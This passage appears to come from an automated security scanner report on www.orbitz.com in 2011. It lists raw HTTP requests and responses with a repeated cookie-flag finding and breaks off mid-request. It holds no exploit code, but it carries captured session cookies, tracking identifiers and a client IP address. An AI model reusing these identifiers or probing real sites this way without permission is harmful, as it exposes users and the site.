GET /App/Sitemap?z=2edb&r=1a HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: OSC=7490BFC587B03172C0CF1BEEF6F5E0B4; Path=/ Cache-Control: private Pragma: no-cache Set-Cookie: logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; Domain=.orbitz.com; Path=/ P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Content-Type: text/html Date: Wed, 02 Feb 2011 16:11:48 GMT Content-Length: 34360
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" > < ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /App/SubmitQuickSearch?z=2ebe&r=h HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: OSC=A473AE481AF0148C16EBAD58BC4AA48A; Path=/ Cache-Control: private Pragma: no-cache Set-Cookie: logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; Domain=.orbitz.com; Path=/ P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Content-Type: text/html Date: Wed, 02 Feb 2011 16:11:52 GMT Content-Length: 156615
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1 ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /App/ViewDHTMLCalendar?z=2ec5&r=o HTTP/1.1 Host: www.orbitz.com Proxy-Connection: keep-alive Referer: http://www.orbitz.com/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anon=8916556551294354144817; OrbitzRegistration="N,0,0,0"; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; PackagingContext=APH; DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; OSC=265DA875C314B0C54855FC80AB1B1D8C; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573790782:ss=1296573790782; mbox=check#true#1296573851|session#1296573790873-999455#1296575651
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: OSC=F98AC81B03C0BEA00E91E9C06B484803; Path=/ Cache-Control: private Pragma: no-cache Set-Cookie: logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|; Domain=.orbitz.com; Path=/ P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Content-Type: text/html ntCoent-Length: 936 Date: Wed, 02 Feb 2011 16:11:50 GMT Content-Length: 936
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <style type="text/css">
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /App/ViewHotelSearch?retrieveParams=true&searchMethodHidden=expand&expandSearchOptions=true&z=2ec2&r=l HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 301 Moved Permanently Server: Apache-Coyote/1.1 Set-Cookie: OSC=3D7B80A1E27EBAB37F9A4F9BD9B3D63E; Path=/ Cache-Control: private Pragma: no-cache Set-Cookie: logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; Domain=.orbitz.com; Path=/ Location: http://www.orbitz.com/shop/hotelsearch?hotel.hotelSearchDetails.checkinDate=02%2F09%2F11&strf=7&hotel.hotelSearchDetails.hotelRoom.numberOfAdults=2&hotel.locationKeywordInput.key=Enter+city+or+point+of+interest...&hotel.typeOfSearch=keyword&hotel.hotelSearchDetails.checkoutDate=02%2F11%2F11&hotel.hotelSearchDetails.numberOfRooms=1&type=hotel P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Content-Length: 0 Date: Wed, 02 Feb 2011 16:06:47 GMT Set-Cookie: NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3087545525d5f4f58455e445a4a423660;path=/
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /App/ViewMyAccount?shadowing=false HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /App/ViewRSSHelpPage?source=ft&type=l HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3087545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: OSC=178A76F3F171896D8B1D396D67B731F2; Path=/ Cache-Control: private Pragma: no-cache Set-Cookie: logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; Domain=.orbitz.com; Path=/ P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Content-Type: text/html Date: Thu, 03 Feb 2011 06:45:49 GMT Set-Cookie: NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660;path=/ Content-Length: 77358
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3. ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /App/ViewRoundTripSearch?expandTravelers=true&z=2ec1&r=k HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: OSC=E8226D3EEDD7963F144B071A614BE3C3; Path=/ Cache-Control: private Pragma: no-cache Set-Cookie: logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; Domain=.orbitz.com; Path=/ P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Set-Cookie: DataPersistence=||||||||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|||mm/dd/yy|||||||||mm/dd/yy|mm/dd/yy||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||advanced|; Domain=.orbitz.com; Expires=Tue, 28-Jan-2031 16:06:42 GMT; Path=/ Content-Type: text/html Date: Wed, 02 Feb 2011 16:06:41 GMT Set-Cookie: NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3087545525d5f4f58455e445a4a423660;path=/ Content-Length: 156150
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1 ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /App/ViewTravelWatchHome HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3087545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: OSC=F50F32CC6FAEFFAE6197D6FEE65AB6D2; Path=/ Cache-Control: private Pragma: no-cache Set-Cookie: logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; Domain=.orbitz.com; Path=/ P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Content-Type: text/html Content-Length: 109 Date: Thu, 03 Feb 2011 06:46:27 GMT Set-Cookie: NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660;path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /Secure/DelayedRegistration?signInType=explicit&partnerUrl=updates.orbitz.com/ HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3087545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 301 MOVED PERMANENTLY Location: http://www.orbitz.com/App/DelayedRegistration?signInType=explicit&partnerUrl=updates.orbitz.com/ Set-Cookie: NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660;path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /Secure/DelayedSignIn?partnerUrl=updates.orbitz.com/ HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; 